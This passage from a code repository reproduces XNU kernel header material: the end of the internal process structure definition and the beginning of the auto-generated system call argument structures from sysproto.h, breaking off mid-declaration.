| int p_siglist; /* signals captured back from threads */ 278 | struct lck_spin_t p_slock; /* spin lock for itimer/profil protection */ 279 | 280 | #define p_rlimit p_limit->pl_rlimit 281 | 282 | struct plimit *p_olimit; /* old process limits - not inherited by child (PL) */ 283 | unsigned int p_flag; /* P_* flags. (atomic bit ops) */ 284 | unsigned int p_lflag; /* local flags (PL) */ 285 | unsigned int p_listflag; /* list flags (LL) */ 286 | unsigned int p_ladvflag; /* local adv flags (atomic) */ 287 | int p_refcount; /* number of outstanding users(LL) */ 288 | int p_childrencnt; /* children holding ref on parent (LL) */ 289 | int p_parentref; /* children lookup ref on parent (LL) */ 290 | 291 | pid_t p_oppid; /* Save parent pid during ptrace. XXX */ 292 | u_int p_xstat; /* Exit status for wait; also stop signal. */ 293 | 294 | 295 | struct itimerval p_realtimer; /* Alarm timer. (PSL) */ 296 | struct timeval p_rtime; /* Real time.(PSL) */ 297 | struct itimerval p_vtimer_user; /* Virtual timers.(PSL) */ 298 | struct itimerval p_vtimer_prof; /* (PSL) */ 299 | 300 | struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */ 301 | int p_debugger; /* NU 1: can exec set-bit programs if suser */ 302 | boolean_t sigwait; /* indication to suspend (PL) */ 303 | void *sigwait_thread; /* 'thread' holding sigwait(PL) */ 304 | void *exit_thread; /* Which thread is exiting(PL) */ 305 | int p_vforkcnt; /* number of outstanding vforks(PL) */ 306 | void * p_vforkact; /* activation running this vfork proc)(static) */ 307 | int p_fpdrainwait; /* (PFDL) */ 308 | pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */ 309 | 310 | /* Following fields are info from SIGCHLD (PL) */ 311 | pid_t si_pid; /* (PL) */ 312 | u_int si_status; /* (PL) */ 313 | u_int si_code; /* (PL) */ 314 | uid_t si_uid; /* (PL) */ 315 | 316 | void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */ 317 | 318 | user_addr_t p_dtrace_argv; /* (write once, read only after that) */ 319 | user_addr_t p_dtrace_envp; /* (write once, read only after that) */ 320 | struct lck_mtx_t p_dtrace_sprlock; /* sun proc lock emulation */ 321 | int p_dtrace_probes; /* (PL) are there probes for this proc? */ 322 | u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */ 323 | uint8_t p_dtrace_stop; /* indicates a DTrace-desired stop */ 324 | struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */ 325 | struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */ 326 | struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */ 327 | struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */ 328 | 329 | /* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */ 330 | /* The following fields are all copied upon creation in fork. */ 331 | #define p_startcopy p_argslen 332 | 333 | u_int p_argslen; /* Length of process arguments. */ 334 | int p_argc; /* saved argc for sysctl_procargs() */ 335 | user_addr_t user_stack; /* where user stack was allocated */ 336 | struct vnode *p_textvp; /* Vnode of executable. */ 337 | off_t p_textoff; /* offset in executable vnode */ 338 | 339 | sigset_t p_sigmask; /* DEPRECATED */ 340 | sigset_t p_sigignore; /* Signals being ignored. (PL) */ 341 | sigset_t p_sigcatch; /* Signals being caught by user.(PL) */ 342 | 343 | u_char p_priority; /* (NU) Process priority. */ 344 | u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */ 345 | char p_nice; /* Process "nice" value.(PL) */ 346 | u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */ 347 | 348 | int p_mac_enforce; /* MAC policy enforcement control */ 349 | 350 | char p_comm[MAXCOMLEN+1]; 351 | char p_name[(2*MAXCOMLEN)+1]; /* PL */ 352 | 353 | struct pgrp *p_pgrp; /* Pointer to process group. (LL) */ 354 | uint32_t p_csflags; /* flags for codesign (PL) */ 355 | uint32_t p_pcaction; /* action for process control on starvation */ 356 | uint8_t p_uuid[16]; /* from LC_UUID load command */ 357 | 358 | /* 359 | * CPU type and subtype of binary slice executed in 360 | * this process. Protected by proc lock. 361 | */ 362 | cpu_type_t p_cputype; 363 | cpu_subtype_t p_cpusubtype; 364 | 365 | /* End area that is copied on creation. */ 366 | /* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */ 367 | #define p_endcopy p_aio_total_count 368 | int p_aio_total_count; /* all allocated AIO requests for this proc */ 369 | int p_aio_active_count; /* all unfinished AIO requests for this proc */ 370 | TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq; /* active async IO requests */ 371 | TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq; /* completed async IO requests */ 372 | 373 | //struct klist p_klist; /* knote list (PL ?)*/ 374 | 375 | struct rusage_superset *p_ru; /* Exit information. (PL) */ 376 | int p_sigwaitcnt; 377 | thread_t p_signalholder; 378 | thread_t p_transholder; 379 | 380 | /* DEPRECATE following field */ 381 | u_short p_acflag; /* Accounting flags. */ 382 | volatile u_short p_vfs_iopolicy; /* VFS iopolicy flags. (atomic bit ops) */ 383 | 384 | struct lctx *p_lctx; /* Pointer to login context. */ 385 | LIST_ENTRY(proc) p_lclist; /* List of processes in lctx. */ 386 | user_addr_t p_threadstart; /* pthread start fn */ 387 | user_addr_t p_wqthread; /* pthread workqueue fn */ 388 | int p_pthsize; /* pthread size */ 389 | uint32_t p_pth_tsd_offset; /* offset from pthread_t to TSD for new threads */ 390 | user_addr_t p_targconc; /* target concurrency ptr */ 391 | user_addr_t p_stack_addr_hint; /* stack allocation hint for wq threads */ 392 | void * p_wqptr; /* workq ptr */ 393 | int p_wqsize; /* allocated size */ 394 | boolean_t p_wqiniting; /* semaphore to serialze wq_open */ 395 | struct lck_spin_t p_wqlock; /* lock to protect work queue */ 396 | struct timeval p_start; /* starting time */ 397 | void * p_rcall; 398 | int p_ractive; 399 | int p_idversion; /* version of process identity */ 400 | void * p_pthhash; /* pthread waitqueue hash */ 401 | volatile uint64_t was_throttled __attribute__((aligned(8))); /* Counter for number of throttled I/Os */ 402 | volatile uint64_t did_throttle __attribute__((aligned(8))); /* Counter for number of I/Os this proc throttled */ 403 | 404 | #if DIAGNOSTIC 405 | unsigned int p_fdlock_pc[4]; 406 | unsigned int p_fdunlock_pc[4]; 407 | #if SIGNAL_DEBUG 408 | unsigned int lockpc[8]; 409 | unsigned int unlockpc[8]; 410 | #endif /* SIGNAL_DEBUG */ 411 | #endif /* DIAGNOSTIC */ 412 | uint64_t p_dispatchqueue_offset; 413 | uint64_t p_dispatchqueue_serialno_offset; 414 | }; 415 | #endif /* !_SYS_PROC_INTERNAL_H_ */ 416 | 417 | struct proclist { 418 | struct proc *lh_first; 419 | }; -------------------------------------------------------------------------------- /libmasochist/sysproto.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2004-2008 Apple Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | * 28 | * 29 | * System call switch table. 30 | * 31 | * DO NOT EDIT-- this file is automatically generated. 32 | * created from /SourceCache/xnu/xnu-2782.1.97/bsd/kern/syscalls.master 33 | */ 34 | 35 | #ifndef _SYS_SYSPROTO_H_ 36 | #define _SYS_SYSPROTO_H_ 37 | 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | 44 | #ifdef __APPLE_API_PRIVATE 45 | /* 46 | * The kernel may support multiple userspace ABIs, and must use 47 | * argument structures with elements large enough for any of them. 48 | */ 49 | 50 | #if CONFIG_REQUIRES_U32_MUNGING 51 | #define PAD_(t) (sizeof(uint64_t) <= sizeof(t) \ 52 | ? 0 : sizeof(uint64_t) - sizeof(t)) 53 | #else 54 | #define PAD_(t) (sizeof(uint32_t) <= sizeof(t) \ 55 | ? 0 : sizeof(uint32_t) - sizeof(t)) 56 | #endif 57 | #if BYTE_ORDER == LITTLE_ENDIAN 58 | #define PADL_(t) 0 59 | #define PADR_(t) PAD_(t) 60 | #else 61 | #define PADL_(t) PAD_(t) 62 | #define PADR_(t) 0 63 | #endif 64 | 65 | __BEGIN_DECLS 66 | 67 | struct nosys_args { 68 | int32_t dummy; 69 | }; 70 | struct exit_args { 71 | char rval_l_[PADL_(int)]; int rval; char rval_r_[PADR_(int)]; 72 | }; 73 | struct fork_args { 74 | int32_t dummy; 75 | }; 76 | struct read_args { 77 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 78 | char cbuf_l_[PADL_(user_addr_t)]; user_addr_t cbuf; char cbuf_r_[PADR_(user_addr_t)]; 79 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 80 | }; 81 | struct write_args { 82 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 83 | char cbuf_l_[PADL_(user_addr_t)]; user_addr_t cbuf; char cbuf_r_[PADR_(user_addr_t)]; 84 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 85 | }; 86 | struct open_args { 87 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 88 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 89 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 90 | }; 91 | struct close_args { 92 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 93 | }; 94 | struct wait4_args { 95 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 96 | char status_l_[PADL_(user_addr_t)]; user_addr_t status; char status_r_[PADR_(user_addr_t)]; 97 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 98 | char rusage_l_[PADL_(user_addr_t)]; user_addr_t rusage; char rusage_r_[PADR_(user_addr_t)]; 99 | }; 100 | struct link_args { 101 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 102 | char link_l_[PADL_(user_addr_t)]; user_addr_t link; char link_r_[PADR_(user_addr_t)]; 103 | }; 104 | struct unlink_args { 105 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 106 | }; 107 | struct chdir_args { 108 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 109 | }; 110 | struct fchdir_args { 111 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 112 | }; 113 | struct mknod_args { 114 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 115 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 116 | char dev_l_[PADL_(int)]; int dev; char dev_r_[PADR_(int)]; 117 | }; 118 | struct chmod_args { 119 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 120 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 121 | }; 122 | struct chown_args { 123 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 124 | char uid_l_[PADL_(int)]; int uid; char uid_r_[PADR_(int)]; 125 | char gid_l_[PADL_(int)]; int gid; char gid_r_[PADR_(int)]; 126 | }; 127 | struct getfsstat_args { 128 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 129 | char bufsize_l_[PADL_(int)]; int bufsize; char bufsize_r_[PADR_(int)]; 130 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 131 | }; 132 | struct getpid_args { 133 | int32_t dummy; 134 | }; 135 | struct setuid_args { 136 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 137 | }; 138 | struct getuid_args { 139 | int32_t dummy; 140 | }; 141 | struct geteuid_args { 142 | int32_t dummy; 143 | }; 144 | struct ptrace_args { 145 | char req_l_[PADL_(int)]; int req; char req_r_[PADR_(int)]; 146 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 147 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 148 | char data_l_[PADL_(int)]; int data; char data_r_[PADR_(int)]; 149 | }; 150 | #if SOCKETS 151 | struct recvmsg_args { 152 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 153 | char msg_l_[PADL_(user_addr_t)]; user_addr_t msg; char msg_r_[PADR_(user_addr_t)]; 154 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 155 | }; 156 | struct sendmsg_args { 157 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 158 | char msg_l_[PADL_(user_addr_t)]; user_addr_t msg; char msg_r_[PADR_(user_addr_t)]; 159 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 160 | }; 161 | struct recvfrom_args { 162 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 163 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 164 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 165 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 166 | char from_l_[PADL_(user_addr_t)]; user_addr_t from; char from_r_[PADR_(user_addr_t)]; 167 | char fromlenaddr_l_[PADL_(user_addr_t)]; user_addr_t fromlenaddr; char fromlenaddr_r_[PADR_(user_addr_t)]; 168 | }; 169 | struct accept_args { 170 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 171 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 172 | char anamelen_l_[PADL_(user_addr_t)]; user_addr_t anamelen; char anamelen_r_[PADR_(user_addr_t)]; 173 | }; 174 | struct getpeername_args { 175 | char fdes_l_[PADL_(int)]; int fdes; char fdes_r_[PADR_(int)]; 176 | char asa_l_[PADL_(user_addr_t)]; user_addr_t asa; char asa_r_[PADR_(user_addr_t)]; 177 | char alen_l_[PADL_(user_addr_t)]; user_addr_t alen; char alen_r_[PADR_(user_addr_t)]; 178 | }; 179 | struct getsockname_args { 180 | char fdes_l_[PADL_(int)]; int fdes; char fdes_r_[PADR_(int)]; 181 | char asa_l_[PADL_(user_addr_t)]; user_addr_t asa; char asa_r_[PADR_(user_addr_t)]; 182 | char alen_l_[PADL_(user_addr_t)]; user_addr_t alen; char alen_r_[PADR_(user_addr_t)]; 183 | }; 184 | #else 185 | #endif /* SOCKETS */ 186 | struct access_args { 187 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 188 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 189 | }; 190 | struct chflags_args { 191 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 192 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 193 | }; 194 | struct fchflags_args { 195 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 196 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 197 | }; 198 | struct sync_args { 199 | int32_t dummy; 200 | }; 201 | struct kill_args { 202 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 203 | char signum_l_[PADL_(int)]; int signum; char signum_r_[PADR_(int)]; 204 | char posix_l_[PADL_(int)]; int posix; char posix_r_[PADR_(int)]; 205 | }; 206 | struct getppid_args { 207 | int32_t dummy; 208 | }; 209 | struct dup_args { 210 | char fd_l_[PADL_(u_int)]; u_int fd; char fd_r_[PADR_(u_int)]; 211 | }; 212 | struct pipe_args { 213 | int32_t dummy; 214 | }; 215 | struct getegid_args { 216 | int32_t dummy; 217 | }; 218 | struct sigaction_args { 219 | char signum_l_[PADL_(int)]; int signum; char signum_r_[PADR_(int)]; 220 | char nsa_l_[PADL_(user_addr_t)]; user_addr_t nsa; char nsa_r_[PADR_(user_addr_t)]; 221 | char osa_l_[PADL_(user_addr_t)]; user_addr_t osa; char osa_r_[PADR_(user_addr_t)]; 222 | }; 223 | struct getgid_args { 224 | int32_t dummy; 225 | }; 226 | struct sigprocmask_args { 227 | char how_l_[PADL_(int)]; int how; char how_r_[PADR_(int)]; 228 | char mask_l_[PADL_(user_addr_t)]; user_addr_t mask; char mask_r_[PADR_(user_addr_t)]; 229 | char omask_l_[PADL_(user_addr_t)]; user_addr_t omask; char omask_r_[PADR_(user_addr_t)]; 230 | }; 231 | struct getlogin_args { 232 | char namebuf_l_[PADL_(user_addr_t)]; user_addr_t namebuf; char namebuf_r_[PADR_(user_addr_t)]; 233 | char namelen_l_[PADL_(u_int)]; u_int namelen; char namelen_r_[PADR_(u_int)]; 234 | }; 235 | struct setlogin_args { 236 | char namebuf_l_[PADL_(user_addr_t)]; user_addr_t namebuf; char namebuf_r_[PADR_(user_addr_t)]; 237 | }; 238 | struct acct_args { 239 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 240 | }; 241 | struct sigpending_args { 242 | char osv_l_[PADL_(user_addr_t)]; user_addr_t osv; char osv_r_[PADR_(user_addr_t)]; 243 | }; 244 | struct sigaltstack_args { 245 | char nss_l_[PADL_(user_addr_t)]; user_addr_t nss; char nss_r_[PADR_(user_addr_t)]; 246 | char oss_l_[PADL_(user_addr_t)]; user_addr_t oss; char oss_r_[PADR_(user_addr_t)]; 247 | }; 248 | struct ioctl_args { 249 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 250 | char com_l_[PADL_(user_ulong_t)]; user_ulong_t com; char com_r_[PADR_(user_ulong_t)]; 251 | char data_l_[PADL_(user_addr_t)]; user_addr_t data; char data_r_[PADR_(user_addr_t)]; 252 | }; 253 | struct reboot_args { 254 | char opt_l_[PADL_(int)]; int opt; char opt_r_[PADR_(int)]; 255 | char command_l_[PADL_(user_addr_t)]; user_addr_t command; char command_r_[PADR_(user_addr_t)]; 256 | }; 257 | struct revoke_args { 258 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 259 | }; 260 | struct symlink_args { 261 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 262 | char link_l_[PADL_(user_addr_t)]; user_addr_t link; char link_r_[PADR_(user_addr_t)]; 263 | }; 264 | struct readlink_args { 265 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 266 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 267 | char count_l_[PADL_(int)]; int count; char count_r_[PADR_(int)]; 268 | }; 269 | struct execve_args { 270 | char fname_l_[PADL_(user_addr_t)]; user_addr_t fname; char fname_r_[PADR_(user_addr_t)]; 271 | char argp_l_[PADL_(user_addr_t)]; user_addr_t argp; char argp_r_[PADR_(user_addr_t)]; 272 | char envp_l_[PADL_(user_addr_t)]; user_addr_t envp; char envp_r_[PADR_(user_addr_t)]; 273 | }; 274 | struct umask_args { 275 | char newmask_l_[PADL_(int)]; int newmask; char newmask_r_[PADR_(int)]; 276 | }; 277 | struct chroot_args { 278 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 279 | }; 280 | struct msync_args { 281 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 282 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 283 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 284 | }; 285 | struct vfork_args { 286 | int32_t dummy; 287 | }; 288 | struct munmap_args { 289 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 290 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 291 | }; 292 | struct mprotect_args { 293 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 294 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 295 | char prot_l_[PADL_(int)]; int prot; char prot_r_[PADR_(int)]; 296 | }; 297 | struct madvise_args { 298 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 299 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 300 | char behav_l_[PADL_(int)]; int behav; char behav_r_[PADR_(int)]; 301 | }; 302 | struct mincore_args { 303 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 304 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 305 | char vec_l_[PADL_(user_addr_t)]; user_addr_t vec; char vec_r_[PADR_(user_addr_t)]; 306 | }; 307 | struct getgroups_args { 308 | char gidsetsize_l_[PADL_(u_int)]; u_int gidsetsize; char gidsetsize_r_[PADR_(u_int)]; 309 | char gidset_l_[PADL_(user_addr_t)]; user_addr_t gidset; char gidset_r_[PADR_(user_addr_t)]; 310 | }; 311 | struct setgroups_args { 312 | char gidsetsize_l_[PADL_(u_int)]; u_int gidsetsize; char gidsetsize_r_[PADR_(u_int)]; 313 | char gidset_l_[PADL_(user_addr_t)]; user_addr_t gidset; char gidset_r_[PADR_(user_addr_t)]; 314 | }; 315 | struct getpgrp_args { 316 | int32_t dummy; 317 | }; 318 | struct setpgid_args { 319 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 320 | char pgid_l_[PADL_(int)]; int pgid; char pgid_r_[PADR_(int)]; 321 | }; 322 | struct setitimer_args { 323 | char which_l_[PADL_(u_int)]; u_int which; char which_r_[PADR_(u_int)]; 324 | char itv_l_[PADL_(user_addr_t)]; user_addr_t itv; char itv_r_[PADR_(user_addr_t)]; 325 | char oitv_l_[PADL_(user_addr_t)]; user_addr_t oitv; char oitv_r_[PADR_(user_addr_t)]; 326 | }; 327 | struct swapon_args { 328 | int32_t dummy; 329 | }; 330 | struct getitimer_args { 331 | char which_l_[PADL_(u_int)]; u_int which; char which_r_[PADR_(u_int)]; 332 | char itv_l_[PADL_(user_addr_t)]; user_addr_t itv; char itv_r_[PADR_(user_addr_t)]; 333 | }; 334 | struct getdtablesize_args { 335 | int32_t dummy; 336 | }; 337 | struct dup2_args { 338 | char from_l_[PADL_(u_int)]; u_int from; char from_r_[PADR_(u_int)]; 339 | char to_l_[PADL_(u_int)]; u_int to; char to_r_[PADR_(u_int)]; 340 | }; 341 | struct fcntl_args { 342 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 343 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 344 | char arg_l_[PADL_(user_long_t)]; user_long_t arg; char arg_r_[PADR_(user_long_t)]; 345 | }; 346 | struct select_args { 347 | char nd_l_[PADL_(int)]; int nd; char nd_r_[PADR_(int)]; 348 | char in_l_[PADL_(user_addr_t)]; user_addr_t in; char in_r_[PADR_(user_addr_t)]; 349 | char ou_l_[PADL_(user_addr_t)]; user_addr_t ou; char ou_r_[PADR_(user_addr_t)]; 350 | char ex_l_[PADL_(user_addr_t)]; user_addr_t ex; char ex_r_[PADR_(user_addr_t)]; 351 | char tv_l_[PADL_(user_addr_t)]; user_addr_t tv; char tv_r_[PADR_(user_addr_t)]; 352 | }; 353 | struct fsync_args { 354 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 355 | }; 356 | struct setpriority_args { 357 | char which_l_[PADL_(int)]; int which; char which_r_[PADR_(int)]; 358 | char who_l_[PADL_(id_t)]; id_t who; char who_r_[PADR_(id_t)]; 359 | char prio_l_[PADL_(int)]; int prio; char prio_r_[PADR_(int)]; 360 | }; 361 | #if SOCKETS 362 | struct socket_args { 363 | char domain_l_[PADL_(int)]; int domain; char domain_r_[PADR_(int)]; 364 | char type_l_[PADL_(int)]; int type; char type_r_[PADR_(int)]; 365 | char protocol_l_[PADL_(int)]; int protocol; char protocol_r_[PADR_(int)]; 366 | }; 367 | struct connect_args { 368 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 369 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 370 | char namelen_l_[PADL_(socklen_t)]; socklen_t namelen; char namelen_r_[PADR_(socklen_t)]; 371 | }; 372 | #else 373 | #endif /* SOCKETS */ 374 | struct getpriority_args { 375 | char which_l_[PADL_(int)]; int which; char which_r_[PADR_(int)]; 376 | char who_l_[PADL_(id_t)]; id_t who; char who_r_[PADR_(id_t)]; 377 | }; 378 | #if SOCKETS 379 | struct bind_args { 380 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 381 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 382 | char namelen_l_[PADL_(socklen_t)]; socklen_t namelen; char namelen_r_[PADR_(socklen_t)]; 383 | }; 384 | struct setsockopt_args { 385 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 386 | char level_l_[PADL_(int)]; int level; char level_r_[PADR_(int)]; 387 | char name_l_[PADL_(int)]; int name; char name_r_[PADR_(int)]; 388 | char val_l_[PADL_(user_addr_t)]; user_addr_t val; char val_r_[PADR_(user_addr_t)]; 389 | char valsize_l_[PADL_(socklen_t)]; socklen_t valsize; char valsize_r_[PADR_(socklen_t)]; 390 | }; 391 | struct listen_args { 392 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 393 | char backlog_l_[PADL_(int)]; int backlog; char backlog_r_[PADR_(int)]; 394 | }; 395 | #else 396 | #endif /* SOCKETS */ 397 | struct sigsuspend_args { 398 | char mask_l_[PADL_(sigset_t)]; sigset_t mask; char mask_r_[PADR_(sigset_t)]; 399 | }; 400 | #if SOCKETS 401 | #else 402 | #endif /* SOCKETS */ 403 | struct gettimeofday_args { 404 | char tp_l_[PADL_(user_addr_t)]; user_addr_t tp; char tp_r_[PADR_(user_addr_t)]; 405 | char tzp_l_[PADL_(user_addr_t)]; user_addr_t tzp; char tzp_r_[PADR_(user_addr_t)]; 406 | }; 407 | struct getrusage_args { 408 | char who_l_[PADL_(int)]; int who; char who_r_[PADR_(int)]; 409 | char rusage_l_[PADL_(user_addr_t)]; user_addr_t rusage; char rusage_r_[PADR_(user_addr_t)]; 410 | }; 411 | #if SOCKETS 412 | struct getsockopt_args { 413 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 414 | char level_l_[PADL_(int)]; int level; char level_r_[PADR_(int)]; 415 | char name_l_[PADL_(int)]; int name; char name_r_[PADR_(int)]; 416 | char val_l_[PADL_(user_addr_t)]; user_addr_t val; char val_r_[PADR_(user_addr_t)]; 417 | char avalsize_l_[PADL_(user_addr_t)]; user_addr_t avalsize; char avalsize_r_[PADR_(user_addr_t)]; 418 | }; 419 | #else 420 | #endif /* SOCKETS */ 421 | struct readv_args { 422 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 423 | char iovp_l_[PADL_(user_addr_t)]; user_addr_t iovp; char iovp_r_[PADR_(user_addr_t)]; 424 | char iovcnt_l_[PADL_(u_int)]; u_int iovcnt; char iovcnt_r_[PADR_(u_int)]; 425 | }; 426 | struct writev_args { 427 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 428 | char iovp_l_[PADL_(user_addr_t)]; user_addr_t iovp; char iovp_r_[PADR_(user_addr_t)]; 429 | char iovcnt_l_[PADL_(u_int)]; u_int iovcnt; char iovcnt_r_[PADR_(u_int)]; 430 | }; 431 | struct settimeofday_args { 432 | char tv_l_[PADL_(user_addr_t)]; user_addr_t tv; char tv_r_[PADR_(user_addr_t)]; 433 | char tzp_l_[PADL_(user_addr_t)]; user_addr_t tzp; char tzp_r_[PADR_(user_addr_t)]; 434 | }; 435 | struct fchown_args { 436 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 437 | char uid_l_[PADL_(int)]; int uid; char uid_r_[PADR_(int)]; 438 | char gid_l_[PADL_(int)]; int gid; char gid_r_[PADR_(int)]; 439 | }; 440 | struct fchmod_args { 441 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 442 | char mode_l_[PADL_(int)]; int mode; char 